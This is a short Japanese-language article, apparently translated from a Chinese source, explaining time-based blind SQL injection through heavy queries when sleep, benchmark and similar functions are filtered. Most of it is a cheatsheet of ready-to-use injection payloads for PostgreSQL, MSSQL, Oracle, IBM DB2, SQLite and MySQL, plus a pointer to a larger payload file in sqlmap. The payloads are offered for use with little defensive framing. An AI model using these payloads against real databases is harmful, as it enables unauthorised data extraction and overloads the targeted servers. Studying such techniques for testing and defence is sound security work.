0x00 概要
sleep、benchmark関数を使用できない場合,より多くの計算量を伴うクエリは,データベースのクエリ時間を長くし、遅延注入の効果を達成する。たとえば、mssqlはこのようなものを使うことができます:
1 | AND 2333=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) |
0x01 なぜ高負荷のSQL文を必要としますか?
時間遅延を引き起こすいくつかの関数が注入で使用できない場合、たとえば、次の関数がフィルタリングされます:
sleep
benchmark
Get_lock
おそらくもっと
データベースのクエリ時間を可能な限り長くするために、遅延注入のために重いクエリを使用することができます。たとえば、information_schemaの2つの大きなテーブルにデカルト積とその他のステートメントを実行させます。注意:benchmarkを使用した注入は、基本的には重いクエリの範囲内ですが、ここでは説明しません。
0x02 cheatsheet
PostgreSQL
- AND 2333=(SELECT COUNT(*) FROM GENERATE_SERIES(1,1000000000))
MSSQL
- AND 2333=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
Oracle
- AND 2333=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
IBM DB2
- AND 2333=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
SQLite
- AND 23333=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(100000000/2))))
Mysql
- AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);
より多くのpayload:
https://github.com/sqlmapproject/sqlmap/blob/HEAD/xml/payloads/time_blind.xml
0x03 参照
- https://www.anquanke.com/post/id/104319 (中国語、その後日本語に翻訳する)